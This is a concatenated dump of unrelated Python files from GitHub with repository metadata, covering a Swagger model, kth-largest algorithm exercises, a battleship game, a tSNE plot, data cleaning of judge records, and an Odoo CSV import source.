\"\"\"SfcUpdateSpec - a model defined in Swagger\n\n :param sfcr_ids: The sfcr_ids of this SfcUpdateSpec. # noqa: E501\n :type sfcr_ids: List[str]\n :param vnf_instance_ids: The vnf_instance_ids of this SfcUpdateSpec. # noqa: E501\n :type vnf_instance_ids: List[List[str]]\n \"\"\"\n self.swagger_types = {\n 'sfcr_ids': List[str],\n 'vnf_instance_ids': List[List[str]]\n }\n\n self.attribute_map = {\n 'sfcr_ids': 'sfcr_ids',\n 'vnf_instance_ids': 'vnf_instance_ids'\n }\n\n self._sfcr_ids = sfcr_ids\n self._vnf_instance_ids = vnf_instance_ids\n\n @classmethod\n def from_dict(cls, dikt) -> 'SfcUpdateSpec':\n \"\"\"Returns the dict as a model\n\n :param dikt: A dict.\n :type: dict\n :return: The SfcUpdateSpec of this SfcUpdateSpec. # noqa: E501\n :rtype: SfcUpdateSpec\n \"\"\"\n return util.deserialize_model(dikt, cls)\n\n @property\n def sfcr_ids(self) -> List[str]:\n \"\"\"Gets the sfcr_ids of this SfcUpdateSpec.\n\n\n :return: The sfcr_ids of this SfcUpdateSpec.\n :rtype: List[str]\n \"\"\"\n return self._sfcr_ids\n\n @sfcr_ids.setter\n def sfcr_ids(self, sfcr_ids: List[str]):\n \"\"\"Sets the sfcr_ids of this SfcUpdateSpec.\n\n\n :param sfcr_ids: The sfcr_ids of this SfcUpdateSpec.\n :type sfcr_ids: List[str]\n \"\"\"\n\n self._sfcr_ids = sfcr_ids\n\n @property\n def vnf_instance_ids(self) -> List[List[str]]:\n \"\"\"Gets the vnf_instance_ids of this SfcUpdateSpec.\n\n each sub-list represent a node on the traffic path. each node is a list of vnf instances, where traffic are load-balanced # noqa: E501\n\n :return: The vnf_instance_ids of this SfcUpdateSpec.\n :rtype: List[List[str]]\n \"\"\"\n return self._vnf_instance_ids\n\n @vnf_instance_ids.setter\n def vnf_instance_ids(self, vnf_instance_ids: List[List[str]]):\n \"\"\"Sets the vnf_instance_ids of this SfcUpdateSpec.\n\n each sub-list represent a node on the traffic path. each node is a list of vnf instances, where traffic are load-balanced # noqa: E501\n\n :param vnf_instance_ids: The vnf_instance_ids of this SfcUpdateSpec.\n :type vnf_instance_ids: List[List[str]]\n \"\"\"\n\n self._vnf_instance_ids = vnf_instance_ids\n","repo_name":"dpnm-ni/ni-mano","sub_path":"ni_nfvo/models/sfc_update_spec.py","file_name":"sfc_update_spec.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"30739822653","text":"from typing import List\nimport heapq\n\n\"\"\"\nKth Largest Element in an Array\n\nGiven an integer array nums and an integer k, return the kth largest element in the array.\nNote that it is the kth largest element in the sorted order, not the kth distinct element.\n\nExample 1:\ninput: nums = [3,2,1,5,6,4], k =2\nOutput: 5\n\nExample 2:\ninput: nums = [3,2,3,1,2,4,5,5,6], k =4\nOutput: 4\n\nConstraints:\n1 <= k <= nums.length <=10^4\n-10^4 < nums[i] <= 10^4\n\n\"\"\"\n\n\nclass Solution:\n\n def findKthLargest(self, nums, k):\n k = len(nums) - k\n\n def quickSelect(l,r):\n pivot, p = nums[r], l\n for i in range(l, r):\n if nums[i] <= pivot:\n nums[p], nums[i] =nums[i], nums[p]\n p += 1\n nums[p], nums[r] = nums[r], nums[p]\n\n if p > k: return quickSelect(l, p-1)\n if p < k: return quickSelect(p+1, r)\n else: return nums[p]\n return quickSelect(0, len(nums)-1)\n\n\nsols = Solution()\nprint(\"QuickSelect Expected:4, Actual:\", sols.findKthLargest([3,2,3,1,2,4,5,5,6], 4))\nprint(\"QuickSelect Expected:5, Actual:\", sols.findKthLargest([3,2,1,5,6,4], 2))\n\n\n\"\"\"\nYou are given an array of strings, nums, and an integer k. Each string in nums represents \nan integer without leading zeros.\nReturn the string that represents the kth largest integer in nums.\n\nNote: Duplicate numbers should be counted distinctly. For example, if nums is\n[\"1\",\"2\",\"2\"], \"2\" is the first largest integer, \"2\" is the second-largest integer, \nand \"1\" is the third-largest integer.\n\nExample 1:\nInput: nums = [\"3\",\"6\",\"7\",\"10\"], k =4\nOutput: \"3\"\nExplanation: The numbers in nums sorted in non-decreasing order are [\"3\",\"6\",\"7\",\"10\"].\n The 4th largest integer in nums is \"3\"\n\nExample 2:\nInput: nums =[\"2\",\"21\",\"12\",\"1\"], k=3\nOutput: \"2\"\nExplanation:\nThe numbers in nums sorted in non-decreasing order are [\"1\",\"2\",\"12\",\"21\"].\nThe 3rd largest integer in nums is \"2\".\n\n\n\"\"\"\n\nclass Solution:\n def kthLargestNumber(self, nums: List[str],k:int)->str:\n maxHeap =[-int(n) for n in nums]\n y = heapq.heapify(maxHeap)\n\n while k > 1:\n heapq.heappop(maxHeap)\n k -=1\n return str(-maxHeap[0])\n\nsoln = Solution()\nprint(\"Expected:3, Actual:\", soln.kthLargestNumber([\"3\",\"6\",\"7\",\"10\"], 4))\nprint(\"Expected:2, Actual:\", soln.kthLargestNumber([\"2\",\"21\",\"12\",\"1\"], 3))\n\n'''\nmy tests\n\n'''\ndef findKthLargest1(nums, k):\n nums.sort()\n return nums[len(nums)-k]\n\n\nprint(\"Expected:5, Actual:\",findKthLargest1([3,2,1,5,6,4],2))\nprint(\"Expected:4, Actual:\",findKthLargest1([3,2,3,1,2,4,5,5,6],4))\n\n\ndef find_kth_largest(nums,k):\n nums.sort(reverse=True)\n return nums.index(k-1)\nprint(\"Index Expected:5, Actual:\",find_kth_largest([3,2,1,5,6,4],2))\nprint(\"Index Expected:4, Actual:\",find_kth_largest([3,2,3,1,2,4,5,5,6],4))","repo_name":"Chemokoren/Algorithms-1","sub_path":"neetcode/arrays/Kth_largest_element_in_array.py","file_name":"Kth_largest_element_in_array.py","file_ext":"py","file_size_in_byte":2845,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"35294815637","text":"from .apply_style import apply_style\nfrom .format import format\nfrom .logger import Logger, PrintLogger, VoidLogger\nfrom .pp_context import PPContext\nfrom .pp_styles import PPStyles\nfrom .print import print\nfrom .typing import StyleOptions\nfrom .utils import (\n dict_lt, is_dict, is_multiliner, is_oneliner, is_set, is_tuple, lt,\n)\n\n__all__ = [\n \"apply_style\",\n \"dict_lt\",\n \"format\",\n \"is_dict\",\n \"is_multiliner\",\n \"is_oneliner\",\n \"is_set\",\n \"is_tuple\",\n \"Logger\",\n \"lt\",\n \"PPContext\",\n \"PPStyles\",\n \"PrintLogger\",\n \"print\",\n \"StyleOptions\",\n \"VoidLogger\",\n]\n","repo_name":"ominatechnologies/opyprint","sub_path":"opyprint/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29901935920","text":"# battleship\n# Authors: Rylee Weaver, Rickesh Khilnani\n\nfrom random import randint\nfrom random import choice\n\nclass board:\n def __init__(self):\n n = input('Enter board size: ')\n while (not(n.isdigit()) or int(n) < 10):\n if (not(n.isdigit())):\n n = input('Bad input. Try again: ')\n else:\n n = input('Please select a larger board size: ')\n if (n.isdigit() and int(n) > 10):\n break\n n = int(n)\n \n self.gameBoard = []\n for _ in range(n):\n currRow = []\n for _ in range(n):\n currRow.append('O')\n self.gameBoard.append(currRow)\n\n self.spawnShip()\n chanceForFirstHitShip = 0.9\n self.maxTries = round(n**2 * chanceForFirstHitShip)\n self.win = False\n\n def spawnShip(self):\n self.size = round(len(self.gameBoard) * (randint(2,5) / 10))\n shipRow, shipCol = randint(0, len(self.gameBoard) - 1), randint(0, len(self.gameBoard) - 1)\n self.shipCoordinates = {(shipRow, shipCol)}\n possibleDirections = {0,1,2,3}\n cardinalDirection = choice(tuple(possibleDirections))\n while(True):\n if (cardinalDirection == 0):\n if shipCol + self.size - 1 > len(self.gameBoard):\n possibleDirections.discard(0)\n else:\n for i in range(self.size - 1):\n self.shipCoordinates.add((shipRow, shipCol + i + 1))\n break\n elif (cardinalDirection == 1):\n if shipRow - self.size + 1 <= 0:\n possibleDirections.discard(1)\n else:\n for i in range(self.size - 1):\n self.shipCoordinates.add((shipRow - i - 1, shipCol))\n break\n elif (cardinalDirection == 2):\n if shipCol - self.size + 1 <= 0:\n possibleDirections.discard(2)\n else:\n for i in range(self.size - 1):\n self.shipCoordinates.add((shipRow, shipCol - i - 1))\n break\n else:\n if shipRow + self.size - 1 > len(self.gameBoard):\n possibleDirections.discard(3)\n else:\n for i in range(self.size - 1):\n self.shipCoordinates.add((shipRow + i + 1, shipCol))\n break\n cardinalDirection = choice(tuple(possibleDirections))\n \n def markWrong(self, x, y):\n self.gameBoard[x][y] = 'X'\n\n def markHit(self, x, y):\n self.gameBoard[x][y] = 'H'\n\n def playerGuess(self):\n x = input('Guess Row: ')\n y = input('Guess Column: ')\n self.checkGuess(x, y)\n\n def checkGuess(self, x, y):\n validGuess = False\n print()\n n = len(self.gameBoard)\n if not(x.isdigit() and y.isdigit()):\n print('Uh Oh Stinky, try again')\n self.maxTries += 1\n elif (int(x) <= 0 or n < int(x)) or (int(y) <= 0 or n < int(y)):\n print('Make a guess thats on the board, you fool')\n self.maxTries += 1\n elif self.gameBoard[int(x) - 1][int(y) - 1] == 'X' or\\\n self.gameBoard[int(x) - 1][int(y) - 1] == 'H':\n print('Sounds familiar, you\\'ve guessed that one already')\n self.maxTries += 1\n elif (int(x) - 1, int(y) - 1) in self.shipCoordinates:\n if self.size == len(self.shipCoordinates) and self.maxTries > self.size + 1:\n self.maxTries = self.size + 1\n for _ in range(4):\n print('CAUTION TRIES HAVE BEEN REDUCED')\n print()\n print('Good job you hit something')\n self.markHit(int(x) - 1, int(y) - 1)\n validGuess = True\n self.shipCoordinates.discard((int(x) - 1, int(y) - 1))\n if (len(self.shipCoordinates) == 0):\n self.win = True\n else:\n print('Oof, you missed')\n self.markWrong(int(x) - 1, int(y) - 1)\n validGuess = True\n\n if validGuess == True:\n self.displayBoard()\n self.maxTries -= 1\n\n def displayBoard(self):\n print()\n n = len(self.gameBoard)\n for i in range(n):\n for j in range(n):\n print(self.gameBoard[i][j], end = ' ')\n print()\n print()\n\ndef startGame():\n boardObj = board()\n print(f'You have {boardObj.maxTries} tries remaining.' )\n while boardObj.win != True or boardObj.maxTries != 0:\n boardObj.playerGuess()\n if boardObj.maxTries != 1 and not(boardObj.win):\n print(f'You have {boardObj.maxTries} tries remaining.')\n elif not(boardObj.win):\n print(f'You have {boardObj.maxTries} try remaining.')\n if not(boardObj.win):\n print()\n if boardObj.win:\n print('Congrats, you Won!')\n exit()\n elif boardObj.maxTries == 0:\n print('You are a disgrace to your family')\n exit()\n\nstartGame()","repo_name":"Rick10101221/PyBattleship","sub_path":"battleship1ship.py","file_name":"battleship1ship.py","file_ext":"py","file_size_in_byte":5158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"32987253095","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[87]:\n\n\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mplpatches\nimport numpy as np\nimport argparse \nimport matplotlib.patheffects as PathEffects\n\nplt.style.use('BME163.mplstyle')\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--outFile','-o',type = str,action = 'store',help = 'output file')\nparser.add_argument('--inFile1','-c',type = str,action = 'store',help = 'input file')\nparser.add_argument('--inFile2','-p',type = str,action = 'store',help = 'input file')\n\nargs = parser.parse_args()\noutFile = args.outFile\ninFile1 = args.inFile1\ninFile2 = args.inFile2\n\n\nfigureWidth = 8\nfigureHeight = 4\n\npanel1Width = 2\npanel1Height = 2\n\nplt.figure(figsize=(figureWidth,figureHeight))\n\npanel1 = plt.axes([0.1,0.2,panel1Width/figureWidth,panel1Height/figureHeight]) #horizontal, vertical\n\npanel1.set_ylim(-40,30)\npanel1.set_xlim(-30,30)\npanel1.set_xticks([-20,0,20])\n\nplt.xlabel(\"tSNE 2\")\nplt.ylabel(\"tSNE 1\")\n\n\n\n\n# reading files\n\n\ncellDict={}\n\nfor line in open(inFile1):\n a = line.rstrip().split('\\t')\n cell = a[0]\n cellType = a[1]\n barcode = a[2]\n cellDict[barcode] = cellType\n\n \n\nxList_monocyte = []\nyList_monocyte = []\n\nxList_tCell = []\nyList_tCell = []\n\nxList_bCell = []\nyList_bCell = []\n\n\nfor line in open(inFile2):\n a = line.rstrip().split()\n seq = a[0]\n x = float(a[1])\n y = float(a[2])\n \n if cellDict.get(seq) == 'monocyte':\n xList_monocyte.append(x)\n yList_monocyte.append(y)\n \n elif cellDict.get(seq) == 'tCell':\n xList_tCell.append(x)\n yList_tCell.append(y)\n \n elif cellDict.get(seq) == 'bCell':\n xList_bCell.append(x)\n yList_bCell.append(y)\n\n# plotting\n\npanel1.plot(xList_bCell,yList_bCell,\n marker = 'o',\n markersize = 4,\n linewidth = 0,\n linestyle = '--',\n markeredgewidth = 0,\n markeredgecolor = (70/250,130/250,180/250),\n markerfacecolor = (70/250,130/250,180/250)\n )\n\npanel1.plot(xList_tCell,yList_tCell,\n marker = 'o',\n markersize = 4,\n linewidth = 0,\n linestyle = '--',\n markeredgewidth = 0,\n markeredgecolor = (221/250,160/250,221/250),\n markerfacecolor = (221/250,160/250,221/250)\n )\n\npanel1.plot(xList_monocyte,yList_monocyte,\n marker = 'o',\n markersize = 4,\n linewidth = 0,\n linestyle = '--',\n markeredgewidth = 0,\n markeredgecolor = (102/250,205/250,170/250),\n markerfacecolor = (102/250,205/250,170/250)\n )\n\n# panel text\n\nx_monocyte = np.median(xList_monocyte)\ny_monocyte = np.median(yList_monocyte)\n\nx_tCell = np.median(xList_tCell)\ny_tCell = np.median(yList_tCell)\n\nx_bCell = np.median(xList_bCell)\ny_bCell = np.median(yList_bCell)\n\n\nmonocyteText = panel1.text(x_monocyte,y_monocyte,'monocyte',fontsize=8,va='center',ha='center')\ntCellText = panel1.text(x_tCell,y_tCell,'tCell',fontsize=8,va='center',ha='center')\nbCellText = panel1.text(x_bCell,y_bCell,'bCell',fontsize=8,va='center',ha='center')\n\nmonocyteText.set_path_effects([PathEffects.withStroke(linewidth=1, foreground='w')])\ntCellText.set_path_effects([PathEffects.withStroke(linewidth=1, foreground='w')])\nbCellText.set_path_effects([PathEffects.withStroke(linewidth=1, foreground='w')])\n\n\n\n\n\nplt.savefig(outFile, dpi = 600)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"xiasarah/Data-Visualization","sub_path":"Xia_Fan_BME163_Assignment_Week3.py","file_name":"Xia_Fan_BME163_Assignment_Week3.py","file_ext":"py","file_size_in_byte":3543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"31369688843","text":"\"\"\"\r\n10) Which of the following statement is correct?\r\n\r\na) List is mutable & Tuple is immutable\r\nb) List is immutable & Tuple is mutable\r\nc) Both are Mutable.\r\nd) Both are Immutable\r\n\r\n\"\"\"\r\n\r\n# list1 = [1, 2, 3]\r\n# print(list1)\r\n# list1 = list1[2:]\r\n# list1.pop()\r\n# print(list1)\r\n\r\ntuple1 = (1, 2, 3)\r\n\r\ntuple1 = (4, 5, 6)\r\nprint(tuple1)\r\n","repo_name":"KamalDGRT/mcq-practice","sub_path":"mcq/question_10.py","file_name":"question_10.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"32237609118","text":"from collections import defaultdict\nfrom re import split\n\n\ndef character_ngrams(word, n=2):\n return [word[i:i + n] for i in range(len(word) - n + 1)]\n\n\ndef repeated_ngram(ngrams: list, num_reps=2):\n result = []\n for i in range(len(ngrams)):\n r = []\n j = i + 1\n for k in range(j, len(ngrams)):\n if ngrams[i] == ngrams[k] and len(r) < num_reps:\n if len(r) == 0:\n r.append(ngrams[i])\n r.append(ngrams[k])\n if len(r) == num_reps:\n result.append(r)\n return result\n\n\ndef reverse_ngram(ngrams: list, num_reps=2):\n result = []\n for i in range(len(ngrams)):\n r = []\n j = i + 1\n for k in range(j, len(ngrams)):\n rev = ngrams[k][::-1]\n if ngrams[i] == rev and len(r) < num_reps:\n if len(r) == 0:\n r.append(ngrams[i])\n r.append(ngrams[k])\n if len(r) == num_reps:\n result.append(r)\n return result\n\n\ndef initialize(words, func_filter_ngrams, gram_len=2, num_reps=2, print_debug=False) -> defaultdict:\n rd = defaultdict(list)\n for word in words:\n ngrams = character_ngrams(word, gram_len)\n filtered_ngrams = func_filter_ngrams(ngrams, num_reps)\n for ngram_list in filtered_ngrams:\n if len(ngram_list) > 0:\n rd[','.join(ngram_list)].append(word)\n\n print_stats(rd, print_debug)\n return rd\n\n\ndef solve(input_words, rd: defaultdict):\n i = 0\n for input_word in input_words:\n found = False\n for key in rd.keys():\n gram_list = split(',', key)\n candidate = \"\"\n j = 0\n for part in input_word:\n if part == '_':\n candidate = candidate + gram_list[j]\n j = j + 1\n else:\n candidate = candidate + part\n\n for gram_word in rd[key]:\n if gram_word == candidate:\n i = i + 1\n i_w = ''.join(input_word)\n print(f'{i} input word \"{i_w}\" gram_list \"{gram_list}\" word \"{candidate}\"')\n found = True\n\n if not found:\n print(f'{i} input word NOT FOUND \"{input_word}\"')\n\n\ndef print_stats(rd, print_mapping=False):\n num_words = 0\n max_words = 0\n for gram in rd.keys():\n if print_mapping:\n print(f'{gram} words {len(rd[gram])} : {rd[gram][0:400]}')\n num_words = num_words + len(rd[gram])\n if len(rd[gram]) > max_words:\n max_words = len(rd[gram])\n\n print(f'Total repeated ngrams {len(rd.keys())} Words {num_words} Max words for ngram {max_words}')\n\n\ndef test():\n input_words = []\n with open('input_words.txt') as f:\n # with open('input_words_10k_common.txt') as f:\n for line in f:\n parts = []\n for p in split('(_)', line.rstrip('\\n')):\n if p != '':\n parts.append(p)\n if len(parts) > 0:\n input_words.append(parts)\n\n with open('words_alpha.txt') as f:\n # with open('words_10k_common.txt') as f:\n words = set([line.rstrip('\\n') for line in f])\n\n rd = initialize(words, repeated_ngram, 2, 2, True)\n # rd = initialize(words, reverse_ngram, 2, 2, True)\n solve(input_words, rd)\n\n\nif __name__ == '__main__':\n test()\n","repo_name":"abhijitsharma/blog","sub_path":"word_puzzle/code/word_puzzle.py","file_name":"word_puzzle.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"19363406468","text":"scoreDictPlayer2 = {'A':{'X':4,'Y':8,'Z':3}, 'B': {'X':1,'Y':5,'Z':9}, 'C': {'X':7,'Y':2,'Z':6}}\nscoreDictPart2 = {'A':{'X':3,'Y':4,'Z':8}, 'B': {'X':1,'Y':5,'Z':9}, 'C': {'X':2,'Y':6,'Z':7}}\nwith open('input.txt','r') as file:\n\tscore = 0\n\tscore2 = 0\n\tfor line in file:\n\t\tthem,you = line.strip().split(' ')\n\t\tprint(them,you)\n\t\tscore += scoreDictPlayer2[them][you]\n\t\tscore2 += scoreDictPart2[them][you]\n\tprint(score)\n\tprint(score2)\n","repo_name":"Mhjacobs/AdventOfCode2022","sub_path":"Day2/day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"4388905368","text":"import base64\n\nfrom odoo import api, fields, models\n\nfrom ...utils.import_utils import CSVReader, guess_csv_metadata\n\n\nclass CSVSource(models.Model):\n _name = \"import.source.csv\"\n _inherit = \"import.source\"\n _description = \"CSV import source\"\n _source_type = \"csv\"\n _reporter_model = \"reporter.csv\"\n\n csv_file = fields.Binary(\"CSV file\")\n # use these to load file from an FS path\n csv_filename = fields.Char(\"CSV filename\")\n csv_filesize = fields.Char(\n string=\"CSV filesize\", compute=\"_compute_csv_filesize\", readonly=True\n )\n # This is for scheduled import via FS path (FTP, sFTP, etc)\n csv_path = fields.Char(\"CSV path\")\n csv_delimiter = fields.Char(string=\"CSV delimiter\", default=\";\")\n csv_quotechar = fields.Char(string=\"CSV quotechar\", default='\"')\n csv_encoding = fields.Char(string=\"CSV Encoding\")\n csv_rows_from_to = fields.Char(\n string=\"CSV use only a slice of the available lines. \"\n \"Format: $from:$to. \"\n \"NOTE: recommended only for debug/test purpose.\",\n )\n # Handy fields to get a downloadable example file\n example_file_ext_id = fields.Char(\n help=(\n \"You can define example file by creating attachments \"\n \"with an external ID matching the 'import.source.csv' record \"\n \"external ID:\\n\"\n \"\\t${import.source.csv.ExtID}_example_file\\n\\n\"\n \"You can also specify your own external ID by filling this field.\"\n )\n )\n example_file_url = fields.Char(\n string=\"Download example file\", compute=\"_compute_example_file_url\"\n )\n\n _csv_reader_klass = CSVReader\n\n @property\n def _config_summary_fields(self):\n _fields = super()._config_summary_fields\n return _fields + [\n \"csv_filename\",\n \"csv_filesize\",\n \"csv_delimiter\",\n \"csv_quotechar\",\n \"csv_encoding\",\n ]\n\n def _binary_csv_content(self):\n return base64.b64decode(self.csv_file)\n\n @api.onchange(\"csv_file\")\n def _onchange_csv_file(self):\n if self.csv_file:\n # auto-guess CSV details\n meta = guess_csv_metadata(self._binary_csv_content())\n if meta:\n self.csv_delimiter = meta[\"delimiter\"]\n self.csv_quotechar = meta[\"quotechar\"]\n\n @api.depends(\"csv_file\")\n def _compute_csv_filesize(self):\n for item in self:\n item.csv_filesize = False\n if item.csv_file:\n # in v11 binary fields now can return the size of the file\n item.csv_filesize = self.with_context(bin_size=True).csv_file\n\n def _get_lines(self):\n # read CSV\n reader_args = {\n \"delimiter\": self.csv_delimiter,\n \"encoding\": self.csv_encoding,\n \"rows_from_to\": self.csv_rows_from_to,\n }\n if self.csv_path:\n # TODO: join w/ filename\n reader_args[\"filepath\"] = self.csv_path\n elif self.csv_file:\n reader_args[\"filedata\"] = base64.decodebytes(self.csv_file)\n else:\n return iter([])\n\n reader = self._csv_reader_klass(**reader_args)\n return reader.read_lines()\n\n def _get_example_attachment(self):\n self.ensure_one()\n xmlid = self.example_file_ext_id\n if not xmlid:\n source_xmlid = self.get_external_id()[self.id]\n if not source_xmlid:\n return\n xmlid = \"{}_example_file\".format(source_xmlid)\n return self.env.ref(xmlid, raise_if_not_found=0)\n\n @api.depends(\"example_file_ext_id\")\n def _compute_example_file_url(self):\n for source in self:\n source.example_file_url = False\n att = source._get_example_attachment()\n if att:\n source.example_file_url = \"/web/content/{}/{}\".format(att.id, att.name)\n","repo_name":"OCA/connector-interfaces","sub_path":"connector_importer/models/sources/source_csv.py","file_name":"source_csv.py","file_ext":"py","file_size_in_byte":3882,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"38"} +{"seq_id":"29578267207","text":"#if the list is [1,2,3] then you need to add 1 the n the result will be [1,2,4]\r\n\r\ndef plusOne(mylist):\r\n val=[]\r\n num=0\r\n for i in mylist:\r\n num=num *10+ i\r\n \r\n num=num+1\r\n \r\n while num>0:\r\n digit=num%10\r\n val.insert(0,digit)\r\n num=num//10\r\n \r\n return val\r\n\r\n\r\nmylist=[1,2,3]\r\n\r\nresult=plusOne(mylist)\r\nprint(result)\r\n","repo_name":"Mhdjaseer/Leet-code","sub_path":"Plus One/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29562089547","text":"import pandas as pd\nimport os\nimport openpyxl as px\nimport re \n\ncwd = os.getcwd()\ndatadir = '/'.join(cwd.split('/')[0:-1]) + '/Raw Data/'\ndf = pd.read_excel(datadir+'/judges.xlsx', sheetname=\"judges\")\ndf['law school']= df['law school'].fillna('Unknown')\ndf['re-elect years'] = df['re-elect years'].fillna('None')\n\ndf['law school'] = df['law school'].apply(lambda x:re.sub(' ','',x.strip()).lower())\n#Get distinct name list \nlist_law_school = df['law school'].unique()\n\nlist_electyear = df['re-elect years'].unique()\n\nlist_electyear\n\nlist_electyear_unique = []\nfor e in list_electyear:\n if ';' in str(e):\n c = e.count(';')\n for each in e.split(';',c):\n if '?' in each:\n each = each.split('?')[0]\n list_electyear_unique.append(each)\n elif ',' in str(e):\n c = e.count(',')\n for each in e.split(',',c):\n list_electyear_unique.append(each)\n elif 'x' or 'None' in str(e):\n continue\n elif '?' in str(e):\n list_electyear_unique.append(e.split('?')[0])\n else:\n list_electyear_unique.append(str(e))\n\n#remove white space\nlist_electyear_unique = [item.strip() for item in list_electyear_unique]\nlist_electyear_unique_final = list(set(list_electyear_unique))\n\n\n \n\nlist_electyear_unique_final.sort()\ndel list_electyear_unique_final[0]\n\nfor year in list_electyear_unique_final:\n df[year] = df['re-elect years'].apply(lambda x: 1 if (year in str(x) and '?' not in str(x)) else 0)\ndel df['re-elect years']\n\ndf = df.drop([658,659,660,661])\ndf['grad year'] = df['grad year'].apply(lambda x: x.split(',')[0] if ',' in str(x) else x)\ndf['notes'].unique()\n\nnotes_column = ['retired','arrested','lost','died','left','appointed','contested']\nfor notes in notes_column:\n df[notes] = df['notes'].apply(lambda x: 1 if notes in str(x) else 0)\ndf = df.rename(columns={'lost': 'lost-reelection', 'appointed': 'appointed-to-other-depart'})\ndel df['notes']\n\ndelete_columns = ['Unnamed: 28','web','lower only','no experience info']\nfor de in delete_columns:\n del df[de]\n\nremove_list = ['missing','x','?',0]\ndf['start year'] = df['start year'].apply(lambda x:'Unknown' if (x in remove_list or '?' in str(x)) else x)\n\ndf_1 = df[df['multiple'] != 1]\ndf_2 = df[df['multiple'] == 1]\n\ncolumns_to_delete_1 = ['judges (new)', 'Unnamed: 1',' Freq. Percent Cum.','multiple','misspell','missing']\nfor col in columns_to_delete_1:\n del df_1[col]\ncolumns_to_delete_2 = [' Freq. Percent Cum.','multiple','misspell','missing']\nfor col in columns_to_delete_2:\n del df_2[col]\n\ndf_2 = df_2.rename(columns={'judges (original)': 'judges_last_name', 'Unnamed: 3': 'judges_first_name'})\n\ndf_1 = df_1.rename(columns={'judges (original)': 'judges_last_name', 'Unnamed: 3': 'judges_first_name'})\n\ndel df_2['Unnamed: 1']\ndel df_2['judges (new)']\n\ndf_final = df_1.append(df_2)\n\ndf_final\n\ndf_final.to_csv('judges_final.csv')\n\n#read sheet from excel file\ndf_appellate = pd.read_excel(datadir+'/judges.xlsx', sheetname=\"appellate\")\n\n#reset index and change column name for last name\ndf_appellate = df_appellate.reset_index()\ndf_appellate = df_appellate.rename(columns={'index':'Appellate_Last_Name'})\n\n#clean law school based on same format as judges\ndf_appellate['law school']= df_appellate['law school'].fillna('Unknown')\ndf_appellate['law school'] = df_appellate['law school'].apply(lambda x:re.sub(' ','',x.strip()).lower())\n\ndf_appellate['law school'].unique()\n\ndf_appellate['grad year'] = df_appellate['grad year'].apply(lambda x: x if pd.isnull(x) else int(x))\n\nlist_electyear_appellate = df_appellate['re-elect years'].unique()\n\nlist_electyear_unique = []\nfor e in list_electyear_appellate:\n if ',' in str(e):\n c = e.count(',')\n for each in e.split(',',c):\n list_electyear_unique.append(each)\n elif 'x' in str(e):\n continue\n elif '?' in str(e):\n list_electyear_unique.append(e.split('?')[0])\n else:\n list_electyear_unique.append(str(e))\n\nlist_electyear_unique_2 = []\nfor e in list_electyear_unique:\n if '?' in str(e):\n list_electyear_unique_2.append(e.split('?')[0])\n else:\n list_electyear_unique_2.append(str(e))\n \n \n#remove white space\nlist_electyear_unique_2 = [item.strip() for item in list_electyear_unique_2]\nlist_electyear_unique_final = list(set(list_electyear_unique_2))\n\nfor year in list_electyear_unique_final:\n df_appellate[year] = df_appellate['re-elect years'].apply(lambda x: 1 if (year in str(x) and '?' not in str(x)) else 0)\n\ndel df_appellate['re-elect years']\n\n#deal with notes column\ndf_appellate['notes'].unique()\n\nnotes_column = ['retired','presiding justice']\nfor notes in notes_column:\n df_appellate[notes] = df_appellate['notes'].apply(lambda x: 1 if notes in str(x) else 0)\n\ndel df_appellate['notes']\n\ndf_appellate\n\ndf_appellate.to_csv('appellate_final.csv')\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/judges_cleaning.py","file_name":"judges_cleaning.py","file_ext":"py","file_size_in_byte":4893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72441833072","text":"\"\"\"\nhttps://hyeo-noo.tistory.com/128\n\n문제를 DFS를 사용해서 풀이하려고 했는데, 시간복잡도 안에 문제를 풀이할 수 없었다. 따라서\n힌트를 보던 도중 DP로 풀이할 수 있을듯해 규칙을 찾으며 점화식을 도출하려고 했는데,\n점화식 또한 도출하지 못했다.. ㅠㅠ 도저히 답을 찾을 수 없어서 해답을 찾던 도중 이분 탐색을\n사용해서 풀이하는 것을 찾았다.\n\n우선 수열의 길이가 40이라고 가정하고 20번째 수열부터 40번째 수열(이를 right 수열이라고 가정)\n까지의 모든 부분수열의 합을 구한다. 이 시간복잡도는 O(2^20)에 해당한다.\n그리고 right 부분 수열의 합을 sum 이라고 한다면 right 수열을 탐색하면서 sum 값이 몇 번 나왔는지\nmap 자료구조를 사용해 저장한다.\n\nright 부분수열을 통해서 딕셔너리를 채웠다면 0번 수열부터 19번째 수열까지(left 수열이라고 가정)의\n모든 부분수열의 합을 구한다. 수열을 탐색할 때마다 cnt 값을 map[S-sum] 만큼 더한다.\nleft 수열의 부분수열의 합이 sum인 경우에 map[S-sum]이 존재한다면 해당 map값(right 수열에서 구한 값)\n과 현재 left 수열의 sum을 더하면 S가 된다는 것이다(두 수의 합을 구하는 방식).\n\n다만 S가 0인 경우에는 left, right 부분수열 모두 공집합인 경우가 하나 존재하기 때문에 구한 cnt 값에서\n1을 빼준게 정답이 된다.\n\n\"\"\"\n\nimport sys\nimport 